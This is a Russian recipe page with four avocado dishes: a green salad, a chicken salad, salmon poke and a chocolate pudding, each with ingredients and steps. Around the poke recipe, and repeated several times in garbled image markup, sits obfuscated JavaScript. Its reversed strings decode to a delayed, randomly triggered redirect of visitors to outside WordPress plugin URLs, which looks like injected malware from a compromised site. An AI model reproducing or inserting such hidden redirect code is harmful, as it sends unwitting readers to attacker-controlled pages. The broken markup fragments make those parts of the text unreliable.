Если вы любите авокадо так же, как и мы, но вашим лучшим блюдом с ним остаётся обычный тост — эта подборка для вас! Салаты, поке, пудинг — собрали рецепты, которые сможет приготовить каждый.
262 calories
Зелёный салат с авокадо и помидорами черри
Простейший в приготовлении салат, но с таким богатым вкусом.
Зелёный салат с авокадо и помидорами черри
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
15 минут
КОЛИЧЕСТВО ПОРЦИЙ:
2 порции
КАЛОРИЙНОСТЬ:
262 ккал
Сложность
Время
15 минут
Кол-во порций
2 порции
Калорийность
262 ккал
Ингредиенты
Авокадо
1 шт.
Помидоры (черри)
6 шт.
Огурец
1 шт.
Лук (репчатый)
2 шт.
Редис
2 шт.
Салат (латук)
4 листа
Петрушка
пучок
Мята
пучок
Чеснок
½ зубчика
Масло (оливковое)
2 ст. л.
Лимон (сок)
1 ст. л.
Специи
по вкусу
Соль
по вкусу
Процесс приготовления
- Нарежьте мякоть авокадо и огурец кубиками, редис кружками. Измельчите зелень и чеснок. Разрежьте пополам помидоры черри.
- Приготовьте заправку: смешайте измельчённый чеснок, лимонный сок и оливковое масло. Посолите по вкусу.
- Все ингредиенты для салата смешайте в посуде и заправьте приготовленным соусом. Приправьте по вкусу, можно украсить чёрным кунжутом или семенами подсолнуха.
- Подавайте с хрустящим хлебом.
344 calories
Салат с авокадо и куриной грудкой
Секрет этого простого салата — в маринаде с копчёной паприкой для курицы.
Салат с авокадо и куриной грудкой
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
20 минут
КОЛИЧЕСТВО ПОРЦИЙ:
1 порция
КАЛОРИЙНОСТЬ:
344 ккал
Сложность
Время
20 минут
Кол-во порций
1 порция
Калорийность
344 ккал
Ингредиенты
Курица (грудка)
1 шт.
Помидоры
1 шт.
Авокадо
½ шт.
Лук (красный)
½ шт.
Петрушка (нарезанная)
1 ст. л.
Масло (оливковое)
2 ч. л.
Уксус (винный)
1 ч. л.
Перец (паприка копчёная)
1 ч. л.
Процесс приготовления
- Смешайте в миске чайную ложку оливкового масла и паприку. Смажьте этим маринадом грудку с обеих сторон.
- Обжарьте курицу на гриле или антипригарной сковороде около пяти минут с каждой стороны до готовности. После этого нарежьте мясо крупными кусками.
- Нарежьте помидор и авокадо кубиками, лук полукольцами. Смешайте в глубокой тарелке вместе с измельчённой петрушкой и заправьте уксусом и чайной ложкой оливкового масла.
- Выложите сверху курицу.
519 calories
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovte-obedy-zaranee-i-nosite-s-soboi-na-ra-im-3.jpg»> $NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovte-obedy-zaranee-i-nosite-s-soboi-na-ra-im-3.jpg»>
Поке с лососем и авокадо
По вкусу это блюдо чем-то напоминает суши.
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovte-obedy-zaranee-i-nosite-s-soboi-na-ra-im-3.jpg» class=»c2″ alt=»Изображение рецепта Поке с лососем и авокадо» title=»Изображение рецепта Поке с лососем и авокадо»>
Поке с лососем и авокадо
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
30 минут
КОЛИЧЕСТВО ПОРЦИЙ:
4 порции
КАЛОРИЙНОСТЬ:
519 ккал
Сложность
Время
30 минут
Кол-во порций
4 порции
Калорийность
519 ккал
Ингредиенты
Лосось (филе)
350 г
Рис
300 г
Авокадо (нарезанный)
2 шт.
Лимон (сок)
1 шт.
Соус (соевый)
4 ч. л.
Кунжут
4 ч. л.
Перец (чили)
1 шт.
Кориандр
несколько листьев
Процесс приготовления
- Приготовьте рис согласно инструкции на упаковке и переложите в большое блюдо.
- Нарежьте лосося одинаковыми кусочками, авокадо тонкими ломтиками и выложите на одно блюдо.
- Смешайте в миске лимонный сок и соевый соус. Равномерно покройте получившимся маринадом лосося и авокадо. Оставьте в холодильнике на 10 минут.
- Перелейте в рис маринад, который не впитала рыба, и немного посолите. Перемешайте и разделите на четыре тарелки.
- Добавьте сверху маринованного лосося и авокадо. Украсьте кунжутом, несколькими кольцами перца чили и листьями кориандра.
394 calories
Авокадо-пудинг с арахисовой пастой и шоколадом
Кремовая текстура авокадо отлично заменяет молочные продукты в десертах или смузи.
Авокадо-пудинг с арахисовой пастой и шоколадом
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
10 минут
КОЛИЧЕСТВО ПОРЦИЙ:
4 порции
КАЛОРИЙНОСТЬ:
394 ккал
Сложность
Время
10 минут
Кол-во порций
4 порции
Калорийность
394 ккал
Ингредиенты
Авокадо
2 шт.
Банан
1 шт.
Чернослив
5 шт.
Йогурт (натуральный)
100 г
Миндальное молоко (или кокосовое)
6 ст. л.
Какао (порошок)
3 ст. л.
Арахисовая паста
2 ст. л.
Мёд (или кленовый сироп)
2 ч. л.
Шоколад (горький)
для украшения
Процесс приготовления
- Авокадо очистите, разрежьте на половинки и удалите косточки.
- Смешайте в блендере мякоть авокадо, нарезанный банан, чернослив (предварительно замочите его в воде), молоко, арахисовую пасту и какао-порошок. Должна получиться однородная масса (при необходимости долейте чуть больше молока).
- Разложите массу в четыре стакана или специальные формочки.
- Смешайте йогурт с кленовым сиропом или мёдом и добавьте в каждый пудинг. Украсьте сверху шоколадной крошкой.
- Уберите пудинги в холодильник охлаждаться минимум на час, а лучше на ночь.
Статьи по теме
5 причин есть авокадо каждый день
Салат с авокадо: 5 классных рецептов
5 полезных рецептов с авокадо на завтрак
Завтрак для чемпионов: яйца, запечённые в авокадо